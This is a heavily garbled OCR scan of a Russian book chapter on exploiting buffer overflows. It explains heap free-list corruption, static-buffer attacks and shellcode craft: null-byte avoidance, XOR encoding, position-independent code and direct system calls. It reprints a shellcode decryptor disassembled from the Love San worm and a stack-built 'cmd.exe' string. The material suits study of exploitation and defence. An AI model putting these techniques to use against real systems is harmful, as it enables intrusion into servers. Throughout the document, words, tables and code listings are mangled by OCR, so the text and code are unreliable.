следующего издает? gj* И Как слсЛс'твие — к возможности их модификации. Но что это "'’’Ращещ. ДЬ лоступ к ячейкам всякого блока осуществляется по указателю, ^УКа-’ате^11Р0ГраММС в момент его выделения, а отнюдь не по «служебпо- ^я Искдю,’КОТОрыр| МЫ с°биРаемся затереть! Служебные указатели исполь- (.^‘“"иеука- ЧИТсльио Функциями mall ос/free (и другим подобными им). Ис- а1е-1я на следуюший/предыдущий блок позволяет навязать адрес выделяемого блока, например, «наложив» его на доступный нам
138 Глава 4. Ошибки переполнения буфера извне и ц3 буфер, по никаких гарантий, что это получится, у пас нет. При выделении ' ка памяти функция malloc ищет наиболее подходящий с ее точки зрецця °'1с’ он свободной памяти (обычно это первый свободный блок в цепочке, сов^^ ющий по размеру с запрошенным), п не факт, что наш регион ей полы- Короче говоря, не воодушевляющая перспектива получается. указатель на следующий блок в цепочке блок памяти 1 указатель на предыдущий блок в цепочке размер статус (занят/свободен) память, выделенная блоку указатель на следующий блок в цепочке блок памяти 2 указатель на предыдущий блок в цепочке размер статус (занят/свободен) память, выделенная блоку Рис. 4.2. Карта приблизительного распределения динамической памяти Освобождение блоков памяти — другое дело! Для уменьшения фрагментации динамической памяти функция free автоматически объединяет текущий осво бождаемый блок со следующим, если тот тоже свободен. Поскольку смежны* блоки могут находиться па различных концах связывающего их списка, гкРс-' присоединением чужого блока памяти функция free должна «выбросить» из цепочки. Это осуществляется путем «склейки» предшествующего и посЛ‘ дующего указателей, что в псевдокоде выглядит приблизительно так: уь щель па следующий блок в цепочке = указатель на предыдущий блок в upt Постойте, по ведь это... Да! Это аналог бейсик-функции РОКЕ, позволяют*111 модифицировать любую ячейку уязвимой программы! Подробнее об этом можно прочитать в статье «Once upon а Ггее()...»> °n^pei' ванной в 3911-номере электронного журнала PHRACK, доступного ио i www.phrack.org. Статья перегружена техническими подробностями PcaJII,3>ltpi динамической памяти в различных библиотеках и наиисанадоволыютяж1 языком, ио ознакомится с ней, безусловно, стоит. Как правило, возможность записи в память используется для модифи1“ таблицы импорта с целью подмены некоторой API-функции, гарантий0 , вызываемой уязвимой программой вскоре после переполнения («вс**01
139 ФилосоФ^е^^ «тому чТО часы ес Уже сочтены — целостность ссылочного каркаса динамиче- \-oii памяти нарушена, и это неустойчивое сооружение в любой момент может путь, пустив программу в разнос). К сожалению, передать управление на переполняющийся буфер, скорее всего, не удастся, так как его адрес наперед известен и тут приходится импровизировать. Во-первых, злоумышленник может разместить shell-код в любом другом доступном ему буфере с известным Цресом (см. далее раздел «В секции данных...»). Во-вторых, среди функций уязвимой программы могут встретиться и такие, что передают управление на указатель, переданный им с тем или иным аргументом (условимся называть такую функцию функцией f). После чего останется найти API-функцию, при- нимающую указатель на переполняющийся буфер, и подменить ее адрес адре- сом функции f. В Си++-программах с их виртуальными функциями и указате- лями this такая ситуация случается пе так уж и редко, хотя и распространенной ее тоже пе назовешь. Но при проектировании shell-кода па универсальные ре- шения закладываться, вообще говоря, и не приходится. Проявите инженерную смекалку, удивите мир! Будьте заранее готовы к тому, что в некоторых реализациях кучи вы встрети- тесь не с указателями, а с индексами, в общем случае представляющими собой относительные адреса, отсчитываемые либо от первого байта кучи, либо от те- кущей ячейки памяти. Последний случай встречается наиболее часто (в част- ности, штатная библиотека компилятора MS VC 6.0 построена именно так), поэтому имеет смысл рассмотреть его поподробнее. Как уже говорилось выше, абсолютные адреса переполняющего буфера наперед неизвестны и непредска- зуемым образом изменяются под воздействием ряда обстоятельств. Адреса же ячеек, наиболее соблазнительных для модификации, напротив, абсолютны. Что делать? Можно, конечно, исследовать стратегию выделения/освобождения па- мяти для данного приложения на предмет выявления наиболее вероятных ком- бинаций — кое-какие закономерности в назначении адресов переполняющим- ся буферам, безусловно, есть. Методично перебирая все возможные варианты Один за другим, атакующий рано или поздно захватит управление сервером (правда, перед этим несколько раз его завесит, демаскируя атаку и усиливая Дительность администраторов). 8 СЕКЦИИ ДАННЫХ... Переполняющиеся буферы, расположенные в секции данных (статические бу- Ры) — настоящая золотая жила с точки зрения злоумышленника! Это един- нныи тин буферов, адреса которых явно задаются еще на этапе компиля- д ' 1!Оо"11(е~то не компиляции, а компоновки, по это уже детали) и постоянны конкретной версии уязвимого приложения, независимо от того, на С О11еРационной системе она выполняется. Фуц°е ГЛавное ~ секция данных содержит огромное количество указателей на -Юв КЧ,,П//данные- глобальные флаги, дескрипторы файлов и кучи, имена фай- 11Се1’.ПКсТовые строки, буферы некоторых библиотечных функций... Правда, до эт°го богатства еще предстоит «дотянуться», и, если длина переполни-
140 Глава 4. Ошибки переполнения буфера извне и ющегося буфера окажется жестко ограничена сверху (как часто и c,1Vl атакующий не получит от последнего никаких преимуществ! ‘ К тому же, если стек и куча гарантированно содержат указатели в< лепных местах и поддерживают более или менее универсальные механц захвата управления, то в случае со статическими буферами атакующему ется надеяться лишь на удачу. А удача, как известно, баба подлая и полнения статических буферов носят единичный характер, всегда рач^ ющийся ио уникальному сценарию, не допускающему обобщающе классификации. 11 СЕКРЕТЫ ПРОЕКТИРОВАНИЯ SHELL-КОДА Попытка реализовать собственный shell-код неминуемо наталкивает атаку- ющего па многочисленные ограничения, один из которых обходятся путемхит- роумных хаков и извращений, с другими же приходится мириться, восприни- мая их как неотъемлемую часть жестоких сил природы. ЗАПРЕЩЕННЫЕ СИМВОЛЫ Строковые переполняющиеся буферы (в особенности те, что относятся к консольному вводу и клавиатуре) налагают жесткие ограничения на ас- сортимент своего содержимого. Самое неприятное из которых заключается в том, что символ ноля на всем протяжении строки может встречаться лишь однажды и лишь на конце строки (правда, это ограничение не распростра- няется па UNICODE-строкн). Это затрудняет подготовку shell-кода и пре- пятствует выбору произвольных целевых адресов. Код, не используюшш1 нулевых байт, принято называть Zero Free кодом, и техника его подготов ки — настоящая Кама-Сутра. ИСКУССТВО ЗАТИРАНИЯ АДРЕСОВ Рассмотрим ситуацию, когда следом за переполняющимся буфером ,,'^'С(.у. вимый указатель на вызываемую функцию (или указатель this), ашШ-Т 1Ъщая злоумышленника функция root располагается но адресу 004U скольку только один символ, затирающий указатель, может быть ноля, то непосредственная запись требуемого значения невозможна дится хитрить. q.)fr Начнем с того, что в 32-разрядных операционных системах (к которь^1, (SoJ ности, принадлежит Windows NT и многие клоны L’NIX’a) стек, ',1аН*рХоо00®^1 большинства приложений лежат в узком диапазоне адресов: OOlOOOOOh-" ^-j то есть как минимум один ноль у нас уже есть — и это старший оа В зависимости от архитектуры процессора он может располагаться каь^ в шим, так и по старшим адресам. Семейство х86-процессоров держ,,т ших адресах, что, с точки зрения атакующего, очень даже хорошо- Я1
141 навязать уязвимому приложению любой XxYyZzh-адрес при усло- л,| м<мКС^х *уу И Zz не равны нолю. ;iiU'чТ0 рассуждать творчески: позарез необходимый нам адрес 401000Й 1епеРьД *^e недОстижнм в принципе. Но, может быть, нас устроит что-ни- , дрямом ]^апример, почему бы не начать выполнение функции не с перво- удьЛр.^ функиии с классическим прологом (коих вокруг нас большинство) п, банта. иНСТруКцИ11 push ЕВР, сохраняющей значение регистра ЕВР в сте- ''' еспИ этого не сделать, то при выходе функция непременно грохнется, но... 11 будет неважно (свою миссию функция выполнила, и все, что было нужно T<iKVioineMy, опа сделала). Хуже, если паразитный символ поля встречается ксередпне адреса или присутствует в нем дважды, например — 50000И. В некоторых случаях помогает способ коррекции существующих адресов. До- пустим, затираемый указатель содержит адрес 5000FAh. Тогда для достижения желаемого результата атакующий должен затереть один лишь младший сим- вол адреса, заменив FAh символом ноля. Как вариант можно попробовать поискать в дизассемблерном листинге коман- ду перехода (вызова) интересующей пас функции, — существует вероятность, что она будет располагаться по «правильным» адресам. При условии, что целе- вая функция вызывается не однажды и вызовы следуют из различных мест (аобычно именно так и бывает), вероятность того, что хотя бы один из адресов нам «подойдет», весьма велика. Следует также учитывать, что некоторые функции ввода не вырезают символ перевода каретки из вводимой строки, чем практически полностью обезору- живают атакующих. Непосредственный ввод целевых адресов становится практически невозможным (ну что интересного можно найти по адресу х К0РРекиия существующих адресов теоритически вполне осуществи- • •• но на практике встретить подходящий указатель крайне маловероятно зна1<ТИЧеСКИ МЫ огРаничены лишь одним адресом ??000А, где ?? — прежнее 1v|)eTi> 6 УЯЗВИмого указателя). Единственное, что остается, — полностью за- ЧЬ1 Все^ байта указателя вместе с двумя следующими за ним байтами. Тогда ,ч'1иоцобь Нйвязать Уязвимому приложению любой FfXxYyZz, где Ff > 00h. Этот ч,|ческим пРинадлежит коду операционной системы, прикладным дипа- Чайтц ма )ли°текам и драйверам. С ненулевой вероятностью здесь можно Простею ННУЮ КОмапДУ> передающую управление по целевому адресу. "Ь’Цем — СЛУЧае эго CALL адрес/JMP адрес (что маловероятно), а в более ^,,(>твеТствен Регистр/JMP регистр. Обе — двухбайтовые команды (FF DxhFF Ex ,bl ,1а Момент°^' И В памяти таких последовательностей сотни! Главное, что- '*’РавлеН11я Выз°ва затертого указателя (а значит, и на момент передачи ''‘'‘Cyc'Mbiii цК>°Ма,1?е CALL Регистр/JMP регистр) ныбранный регистр содержал !,‘тат,|ь1ефуХевойадрес- °бразо\11ИИ КОНсольного ввода интерпретируют некоторые символы г’|0 (1рОм), и 0М ^НапРимеР. символ с кодом 008 удаляет символ, стоящий перед * Ог<:еивак)тся еще до попадания в уязвимый буфер. Следует 1 к тому, что атакуемая программа контролирует корректность
142 Глава 4. Ошибки переполнения буфепа ------------------------------------------------------ поступающих данных, откидывая все нетекстовые символы или чт0 приводит их к верхнему/нижнему регистру. Вероятность успешной 01110 только это не DoS-атака) становится исчезающе мала. 1,1(11 (ес.-ц, ПОДГОТОВКА SHELL-КОДА В тех случаях, когда переполняющийся строковой буфер использует • редачи двоичного shell-кода (например, головы червя), проблема нуд, Д‘1Яп‘' волов стоит чрезвычайно остро — нулевые символы содержатся как в СИМ ных командах, так и па концах строк, передаваемых системным в качестве основного аргумента (обычно это ”cmd.exe" или “/bin/sh") Яя Для «изгнания» нулей из операндов машинных инструкций следует прибд нуть к адресной арифметике. Так, например, MOV EAX.01h(B8 0 0 00 00 01)эГЕ!1 валентно XOR EAX.EAX/INC ЕАХ (33 СО 40). Последняя запись, кстати, даже кор'* че. Текстовые строки (вместе с завершающим нолем в конце) также могут быт- сформированы непосредственно на вершине стека (листинг 4.12). Листинг 4.12. Размещение строковых аргументов на стеке с динамической генерацией завершающего символа ноля ЗЗСО 50 682Е657865 682E636D64 xor push push push eax.eax eax 06578652E ;"exe." O646D632E :”dmc." 00000000 00000002 00000003 00000008 Как вариант, можно воспользоваться командой XOR EAX.EAX/MOV [XXX], ЕАХ,встав- ляющей завершающий ноль в позицию XXX, где XXX — адрес конца текстовой стро- ки, вычисленный тем или иным способом (см. далее раздел «В поисках сам»' себя»). Радикальным средством предотвращения появления нулей является ка shell-кода, в подавляющем большинстве случаев сводящаяся ктриш му XOR, Основную трудность представляет поиск подходящего ключа шт q ния — ни один шифруемый байт не должен обращаться в симво-^ ^ Поскольку a XOR а = 0, для шифрования подойдет любой байтовый совпадающий ни с одним байтом shell-кода. Если же в shell-коде пр ' полный набор всех возможных значений от 00h до FFh, следует ну ключа до слова и двойного слова, выбирая ее так, чтобы никакой дываемой гаммы не совпадал ни с одним шифруемым байтом. А к^1СЧ11тН^ такую гамму (метод перебора не предлагать)? Да очень просто орЬ1СвСтР“( ем частоту каждого из символов shell-кода, отбираем 4 символа, ко феП'1^. чаются реже всего, выписываем их смещения относительно на1 дучеН1* в столбик и вычисляем остаток от деления на 4. Вновь записываем (1 (1\1 значения в столбик, отбирая те, которые в нем не встречаются- рСеэ1”1‘ позиции данного байта в ключе. Непонятно? Не волнуйтесь, сен берем на конкретном примере (листинги 4.13-4.15). чцсьс|1^) Допустим, в нашем shell-кода наиболее «низкочастотными» °1<а^сТцН1* лы 69h, ABh, CCh, DDh, встречающиеся в следующих позициях (сМ-J
143 прпрктиробаиия shell-кода_________________________________ 413. Таблица смещений наиболее «низкочастотных» символов, Лнстимг отсчитываемых от начала шифруемого кода смешения позиций всех его вхождений символ 04h. 17h. 21h 12И. 13h. lEh. lFh. 27h Olh. 15h. 18h. ICh. 24h. 26h 02h. 03h. 06h. 16h. 19h. lAh. iDh Посте вычисления остатка от деления на 4 над каждым из смещений мы полу чтем следующий ряд значений (см. листинг 4.14). Листинг 4.14. Таблица остатков от деления смещений на 4 символ остаток от деления смещений позиций на 4 69h ABh CCh OCh OOh. 03h. OOh 02h 03h. 02h. 03h. 03h Olh. Olh. OOh. OOh. OOh. 02h 02h. 03h. 02h. 02h. Olh. 02h. Olh Мы получили четыре ряда данных, представляющие собой позиции наложе- ния шифруемого символа на гамму, в которой он обращается в ноль, что недо- пустимо, поэтому нам необходимо выписать все значения, которые не встреча- ются в каждом ряду данных (см. листинг 4.15). Листинг 4.15. Таблица подходящих позиций символов ключа в гамме синвол подходящие позиции в гамме Olh. 32h OOh. Olh 03h OOh 69h ABh CCh OOh 5Перь И3 полученных смещений можно собрать гамму, комбинируя их таким С1 раз()М’ чтобы каждый символ встречался в гамме лишь однажды. Смотрите, uni м''DDh мо>кет встречаться только в позиции OOh, символ CCh — только в пози- буде ’Э ДВЭ осталы,ых символа — в любой из оставшихся позиций. То есть это ся~ JIH6oDDl1 ABh 69h CCh, либо DD 69h ABh 69h. Если же гамму собрать не удает- нУю .Ие0^Ходимо увеличить ее длину. Разумеется, выполнять все расчеты вруч- веР1ценно не обязательно, и эту работу можно переложить на компьютер. бытьв г””0, ПеРВД передачей управления на зашифрованный код он должен P°8iUiik ЯЗатсль,юм порядке расшифрован. Этазадача возлагается на расшиф- По ’К которому предъявляются следующие требования. Он должен быть; Чози ЗМО>КНости компактным; це 1111011110 независимым (то есть полностью персмёщаемым); Держать в себе символов ноля. К'ТНОст., ’в листинге 4.16 показано, как поступает червь Love San. В
144 Глава 4. Ошибки переполнения буфера и?е,|(. Листинг 4.16. Расшифровщик shell-кода, выдранный из вируса Love San .data:0040458В ЕВ 19 jmp short loc_4045A6 .data:0040458В : здесь мы прыгаем в середину кода. .data:0040458В : чтобы потом совершить CALL назад .data:0040458В : (CALL вперед содержит запрещенные символы нуля) .data:0040458D .data:00404580 sub_40458D proc near : CODE XREF: sub 40458D+19yD .data:00404580 ” " ° .data.-00404580 5E pop esi ESI := 4045АВИ .data:00404580 : выталкиваем из стека адрес возврата, помещенный туда командой САф .data:00404580 : это необходимо для определения своего местоположения в памяти .data.-00404580 : .data:0040458Е 31 С9 xor ecx. ecx ,data:004C458E : обнуляем регистр ECX ,data:0040458E . .data.-00404590 81 E9 89 FF FF sub ecx. -77h .data:00404590 : увеличиваем ECX на 77h (уменьшаем ECX на -77h) .data:00404590 . комбинация XOR ECX.ECX/SUB ECX. -77h эквивалентна MOV ECX. 77h .data:00404590 ; за тем исключением, что ее машинное представление не содержит .data:00404590 : в себе нолей .data .-00404596 .data:00404596 loc_404596: : CODE XREF: sub_40458D+15vj .data:00404596 81 36 80 BF 32 xor dword ptr [esiJ. 9432BF80h .data:00404596 ; расшифровываем очередное двойное слово специально подобранной тачке-? .data:00404596 : .data:0040459С 81 ЕЕ FC FF FF sub esi. -4h .data:0040459C ; увеличиваем ESI на 4h (переходим к следующему двойному слову) .data:0040459С : .data:004045А2 Е2 F2 loop 1ос_404596 ,data:004045A2 : мотаем цикл, пока есть что расшифровывать ,data:004045A2 : .data:004045A4 ЕВ 05 jmp short 1ос_4045АВ ,data:004045A4 ; передаем управление расшифрованному shell-коду ,data:004045A4 ; ,data:004045A6 1ос_4045А6: ; CODE XREF: .data:0040458BTJ .daca:004045A6 E8 E2 FF FF FF call sub_40458D .data:004045A6 : прыгаем назад, забрасывая адрес возврата (а это - адрес следуй61’ ,data:004045A6 ; выполняемой инструкции) на вершину стека, после чего выталкиваем .data.004045A6 : его в регистр ESI. что эквивалентно MOV ESI. EIP. но такой машин .data:004045А6 : команды в языке х86-процессоров нет ,data:004045A6 : .data:004045АВ : начало расшифрованного текста ВЧЕРА БЫЛИ БОЛЬШИЕ, НО ПО ПЯТЬ... ИЛИ РАЗМЕР ТОЖЕ ИМЕЕТ ЗНАЧЕНИЕ! По статистике габариты подавляющего большинства переполняюи^^щцс ров составляют 8 байт. Значительно реже переполняются буферы- 131
, .,tneibi проектирования shell-кода 145 всебя от 16 до 128 (512) байт, а буферов больших размеров в живой природе практически не встречаются. Закладываясь на худший из возможных вариантов (а в боевой обстановке ата- кующим приходится действовать именно так!), учитесь выживать даже в жес- точайших условиях окружающей среды с минимумом пищи, воды и кислоро- да. В крошечный объем переполняющегося буфера можно вместить очень многое, если подходить ко всякому делу творчески и думать головой. Первое (и самое простое), что пришло нашим хакерским предкам в голову, — это разбить атакующую программу на две неравные части — компактную голо- ву и протяженный хвост (подробнее см. глава 3 «Жизненный цикл червей»). Голова обеспечивает следующие функции: переполнение буфера, захват управ- ления и загрузку хвоста. Голова может нести двоичный код, но может обходиться п без него, осуществляя всю диверсионную деятельность «руками» уязвимой программы. Действительно, многие программы содержат большое количество служебных функций, дающих полный контроль над системой или, на худой конец, позволяют вывести себя из строя и пойти в управляемый разнос. Иска- жение одной или нескольких критических ячеек программы ведет к ее немед- ленному обрушению, и количество искаженных ячеек начинает расти как снеж- ный ком. Через длинную или короткую цепочку причинно-следственных последствий в ключевые ячейки программы попадают значения, необходимые злоумышленнику. Причудливый узор мусорных байт внезапно складывается в законченную комбинацию, замок глухо щелкает, и дверцы сейфа .медленно раскрываются. Это похоже на шахматную головоломку с постановкой мата в N ходов, причем состояние большинства полей неизвестно, поэтому сложность задачи быстро растет с увеличением N. Конкретные примеры головоломок привести сложно, так как даже простейшие из них занимают несколько страниц убористого текста (в противном же случае листинги выглядят слишком искусственно, а решение лежит буквально па по- верхности). Интересующиеся могут обратиться к коду червя Slapper, до сих пор остающегося непревзойденным эквилибристом по глубине атаки и детально проанализированного специалистами компании Symantec, отчет которых мож- но найти на их же сайте (см. «Ап Analysis of the Slapper Worm Exploit»). Впрочем, атаки подобного типа скорее относятся к экзотике интеллектуальных развлечений, чем к практическим приемам вторжения в систему и потому чрез- вычайно мало распространены. В плане возвращения к средствам традицион- ной «мануальной терапии» отметим, что, если размер переполняющегося бу- фера равен 8 байтам, отсюда еще не следует, что и длина shell-кода должна быть равна тем же 8 байтам. Ведь это же переполняющийся буфер! Но не стоит бро- саться и в другую крайность — надеяться, что предельно допустимая длина shell- кода окажется практически неограниченной. Подавляющее большинство уяз- вимых приложений содержит несколько уровней проверок корректности С'льзовательского ввода, которые, будучи даже не совсем правильно реализо- ванными, все-таки налагают определенные, подчас весьма жесткие ограниче- "чя на атаку.
146 Глава 4. Ошибки переполнения буфера извн Если в куцый объем переполняющегося буфера вместить загру^^1'~~'~~''^' удается, атакующий переходит к плану «В», заключающемуся в поис Н111<ак Нс нативных способов передачи shell-кода. Допустим, одно из полей пощ ского пакета данных допускает переполнение, приводящее к захвату30**1*1*'11’’ ния, но его размер катастрофически мал. Но ведь остальные по содержатся в оперативной памяти, находясь в контексте уязвимого Так почему бы не использовать их для передачи shell-кода? Переполняю буфер, воздействуя на систему тем или иным образом, должен передать Т****01 ление не на свое начало, а на первый байт shell-кода, если, конечно П^ав’ х .. ’ с’такУющИй знает относительный или абсолютный адрес последнего в памяти П™-,,- простейший способ передачи управления на автоматические буферы сводится к инструкции JMP ESP, то наиболее выгодно внедрять shell-код в те буферу Ко торые расположены в непосредственной близости от вершины стека, в против ном случае ситуация рискует самопроизвольно выйти из-под контроля цд-м создания надежно работающего shell-кода атакующему придется попотеть. Соб- ственно говоря, shell-код может находиться в самых неожиданных местах, на- пример, в хвосте последнего TCP-пакета (в подавляющем большинстве случа- ев он попадает в адресное пространство уязвимого процесса, причем зачастую располагается по более или менее предсказуемым адресам). В более сложных случаях shell-код может быть передан отдельным сеансом свя- зи — злоумышленник создает несколько подключений к серверу. По одному передается shell-код (без переполнения, но в тех полях, размер которых доста- точен для его вмещения), а по другому — запрос, вызывающий переполнение и передающий управление на shell-код. Дело в том, что в многопоточных при- ложениях локальные стеки всех потоков располагаются в едином адресном про- странстве процесса и их адреса назначаются не хаотичным, а строго упорядо- ченным образом. При условии, что между двумя последними подключениями, установленными злоумышленником, к серверу не подключился кто-то еше. «трас-поточное» определение адресов представляет собой хоть и сложную, вполне разрешимую проблему. В ПОИСКАХ САМОГО СЕБЯ Предположим, что shell-код наделен сознанием (хотя это и не так). ^Т(^есаВт- ощутили оказавшись на его месте? Представьте себе, что вы диверсант тер’ ник, которого выбрасывают куда-то в пустоту. Вас окружает вражд ритория и еще темнота. Где вы? В каком месте приземлились? Реко! i ка на местности {.чатп. recognoscere [рассматривать] — разве 0(о6еК получения сведений о расположении противника, его огневых средств^^^. ностях местности, где предполагаются боевые действия, и т.п., про сТ вЗ" мандирами или офицерами штаба перед началом боевых действии) шей первой задачей (а если вас занесет в болото, то и последней т Соответственно, первой задачей shell-кода является определение сВ°в положения в памяти или, строго говоря, текущего значения регистра команд (в частности, в х86-процессорах это регистр EIP).
147 ,npoeKWgg^-Shell~K°fl- еСКлебуфеРы’ расположенные в секции данных, располагаются по бо- СтаТ1,<1 ее предсказуемым адресам, легко выявляемых дизассемблирова- lCt "Язвимого приложения. Однако они чрезвычайно чувствительны к вер- 1,|,СМочкуемого приложения и в меньшей степени — к модели операционной спи аТ*^ (разЧцчные операционные системы имеют неодинаковый нижний ‘П^^^узки приложений). Динамические библиотеки в большинстве сво- ^^пемсчцае.мы и могут загружаться в память по произвольным базовым t M там хотя при статической компоновке каждый конкретный набор дина- ческих библиотек всегда загружается одним и тем же образом. Авто.мати- ческиебуферы, расположенные в стеке, и динамические буферы, расположен- ные в куче, размещаются по чрезвычайно трудно предсказуемым или даже совершенно непредсказуемым адресам. Использование абсолютной адресации (или, говоря другими словами, жесткой привязки к конкретным адресам, вроде MOV EAX, [406090h] ) ставит shell-код в за- висимость от окружающей среды и приводит к многочисленным обрушениям уязвимых приложений, в которых буфер оказался не там, где ожидалось. «Из чего только делают современных хакеров, что они даже переполнить буфер, не угробив при этом систему, оказываются не в состоянии?» — вздыхает прошлое поколение. Чтобы этого не происходило, shell-код должен быть полностью пе- ремещаемым — то есть должен уметь работать в любых, заранее ему неизвест- ных адресах. Поставленную задачу можно решить двумя путями — либо использовать толь- ко относительную адресацию (что на х86-нлатформе, в общем-то, недостижи- мо), либо самостоятельно определять свой базовый адрес загрузки и вести «ле- тоисчисление» уже от него. И тот, и другой способ рассматриваются ниже, с характерной для хакеров подробностью и обстоятельностью. Семейство х86-процессоров с относительной адресаций категорически не в ла- Дах, и разработка shell-кода для них — это отличная гимнастика для ума и ог- ромное поле для всевозможных извращений. Всего имеется две относительные и с опкодами E8h и Ebh.E9h/7xh.0F 8xh соответственно), в ~ к°манды управления. Непосредственное использование регистра EIP ИспРеСНЫХ ВЫражениях запрещено. стц Г°ВаНИе относительных CALL в 32-разрядном режиме имеет свои трудно- отНача.ч МС1П Команды задается знаковым 4-байтовым целым, отсчитываемым щих па. СЛеДУЮ,11ей КОМанДы и> при вызове нижележащих подпрограмм, в стар- НоЛя может*1* СОДержащим одчи ноли. А поскольку в строковых буферах символ тать. Ес-щ- ,Вст1,етиться лишь однажды, такой shell-код просто не сможет рабо- П(?Рехоч т Же заменить поли чем-то другим, можно совершить оч-ч-чень далекий луч 'JiaiCK° ВЫхоляп1ий за пределы выделенного блока памяти. Аразом п ПрЬ|Гать назад — в область младших адресов, тогда поли волшебным Хсч К кате Ревратятся В символы с кодом FFh (кстати говоря, также отпосящи- Ке 8се °Рии «трудных» символов, которые соглашаются проглотитьдалеко СТрУкцИ1о ИМь,е программы). Применив военную хитрость и засадив в ин- «Рефикс 66h, мы не только сократим длину машинной команды на
148 Глава 4. Ошибки переполнения буфера извне и из один байт (что в ряде случаев весьма актуально), но и оторвем два стариц,^. операнда (те, которые были с нулевыми символами). В машинном виде все выглядит приблизительно так, как в листинге 4.17. зт° Листинг 4.17. Машинное представление относительных команд CALL 00000000: Е804000000 call 000000009 00000005: 66Е80101 call ООООООЮА 00000009: E8F7FFFFFF call 000000005 Сказанное справедливо и по отношению к команде JMP, за тем лишь исключе нием, что команды условного перехода (равно как и команда JMP SHORT) рад. мешают свой адрес перехода в одном-едипственном байте, что не только уси- ливает компактность кода, но и избавляет нас от проблемы «трудных, символов. Если же необходимо совершить переход по абсолютному адресу (папри.мер, вызвать некоторую системную функцию или функцию уязвимой программы), можно воспользоваться конструкцией CALL регистр/JMP регистр, предваритель- но загрузив регистр командой MOV регистр, непосредственный операнд (от нуле- вых символов можно избавиться с помощью команд адресной арифметики) или командой CALL непосредственный операнд с опкодом FF /2,9А или FF /3 для ближ- него, дальнего и перехода по операнду в памяти соответственно. Относительная адресация данных (в том числе и самомодифицируклцегося кода) обеспечивается на порядок сложнее. Все имеющиеся в нашем распоря- жении команды адресуются исключительно относительно регистра-указателя верхушки стека (в х86-процессорах это регистр ESP), что, конечно, довольно привлекательно само по себе, но и таит определенную внутреннюю опасность. Положение указателя стека после переполнения в общем случае не определе- но, и наличие необходимого количества стековой памяти не гарантировано. Так что действовать приходится на свой страх и риск. Стек можно использовать и для подготовки строковых/числовых аргументов системных функций, формируя их командой PUSH и передавая через относи тельный указатель ESP + X, где X может быть как числом, так и регистром. Ада логичным образом осуществляется и подготовка самомодифии»рУюшС кода — мы «пушим» код в стек и модифицируем его, отталкиваясь отзнач ния регистра ESP. Любители же «классической миссионерской» могут пойти другим путем- °пР деляя текущую позицию EIP посредством конструкции CALL $ + 5/RET, пр^ в лоб такую последовательность машинных команд в строковый буфер i редать, так как 32-разрядный аргумент команды CALL содержит песко.и>к°^ волов ноля. В простейшем случае они изгоняются «заклинанием» 66 Е8 которое эквивалентно инструкциям CALL 5-3/INC ЕАХ, наложенным ДРУГ осТа- га (естественно, это может быть не только ЕАХ и не только INC). Затем л11'^аче- ется вытолкнуть содержимое верхушки стека в любой регистр общего i ||f ния, например ЕВР или ЕВХ. К сожалению, без использования стека •' м()г обойтись, и предлагаемый метод требует, чтобы указатель вершины стек
149 ^^проектироваиия 5hell'K0fla на выделенный регион памяти, доступной для записи. Для перестраховки , переполняющийся буфер действительно срывает стек на хрен) регистр Е$р рекомендуется инициализировать самостоятельно. Это действительно очень сто сделать, ведь многие из регистровых переменных уязвимой программы содержат предсказуемые значения, точнее - используются предсказуемым об- разом. Так, в Си++-программах, откомпилированных MS VC++, ECX наверняка содержит указатель this, a this — зто не только «ценный мех», но и как мини- чуМ 4 байта доступной памяти! В порядке дальнейшего развития этой идеи отметим, что не стоит, право же, игнорировать значения регистров, доставшихся shell-коду в момент начала его выполнения. Многие из пих указывают на полезные структуры данных и выде- ленные регионы памяти, которые мы гарантированно можем использовать, не рискуя нарваться на исключение и прочие неожиданные неприятности. Неко- торые регистровые переменные чувствительны к версии уязвимого приложе- ния, некоторые — к версии компилятора и ключам компиляции, так что «га- рантированность» эта очень и очень относительна, впрочем, как и все сущее на земле. ТЕХНИКА ВЫЗОВА СИСТЕМНЫХ ФУНКЦИЙ Возможность вызова системных функций, строго говоря, не является обяза- тельным условием успешности атаки, поскольку все необходимое для атаки жертва (уязвимая программа) уже содержит внутри себя, в том числе и вызовы системных функций вместе с высокоуровневой оберткой прикладных библио- тек вокруг них. Дизассемблировав исследуемое приложение и определив целе- вые адреса интересующих пас функций, мы можем сделать CALL целевой адрес или PUSH адрес возврата/JMP относительный целевой адрес или MOV регистр, абсо- лютный целевой адрес/PUSH адрес возврата/JMP регистр. Замечательно, если уязвимая программа импортирует пару функций LoadLib- rary/GetProcAddress, — тогда shell-код сможет загрузить любую динамическую оиблиотеку и обратиться к любой из ее функций. Л если функции GetProcAddress в таблице импорта нет? Тогда — атакующий будет вынужден самостоятельно '’Пределять адреса интересующих его функций, отталкиваясь от базового адре- ра3рр>^ЗКИ’ возРа,цеинЬ1М LoadLibrary и действуя либо путем «ручного» разбо- -файла, либо отождествляя функции по их сигнатурам. Первое сложно, кП11й 6 ~ ненадежно- Закладываться на фиксированные адреса системных фуп- <>и > .КатегоРи,'ески недопустимо, поскольку они варьируются от одной версии ^^‘Рационноп системы к другой. 11 3 КаК быть, когда функция LoadLibrary в таблице импорта отсутствует для п И *1ли ’’«скольких системных функций, жизненно необходимых shell-коду 11о1ьз<С1|РОстРанения, там тоже нет? В UNIX-системах можно (и нужно!) ис- >|,1Ван°ВаТЬ пРЯМой вызов функций ядра, реализуемый либо посредством пре- •тР11), Ия По вектору 80h (LINUX, Free BSD, параметры передаются через реги- ‘ ’ Л1,бо через дальний CALL по адресу 0007h:00000000h (System V, параметры
150 Глава 4. Ошибки переполнения буфера передаются через стек), при этом номера системных вызовов содержатся в /usr/include/sys/syscall.h (см. далее раздел «Реализация системных вызовов^*1*'’1' личных ОС»). Еше можно вспомнить машинные команды syscal 1 /sysente торые, как и следует из их названия, осуществляют прямые системные вц- К° вместе с передачей параметров. В Windows NT п производных от нее сц '0В11 дела обстоят намного сложнее. Взаимодействие с ядром реализуется и '!ах ством прерывания INT 2Eh, неофициально называемого native API-interface (< ной» API-интерфейс). Кое-какая информация па этот счет содержится в дарном Interrupt List’e Ральфа Брауна и « Недокументированных возможное WindowsNT» Коберниченко, но мало, очень мало. Это чрезвычайноскутГ документированный интерфейс, и единственным источником данных остают ся дизассемблерные листинги KERNEL32.DLL и NTDLL.DLL. Работа с native API трс бует высокого профессионализма и глубокого .знания архитектуры операцион- ной системы, да и как-то громоздко все получается — ядро NT оперирует с небольшим числом довольно примитивных (или, если угодно, — низкоуров- невых) функций. К непосредственному употреблению они непригодны и, как и всякий полуфабрикат, должны быть соответствующим образом приготовле- ны. Например, функция LoadLibrary «распадается», по меньшей мере, на два системных вызова — NtCreateFile (ЕАХ = 17h) — открываетфайл, NtCreateSection (ЕАХ = 2Bh) — проецирует файл в 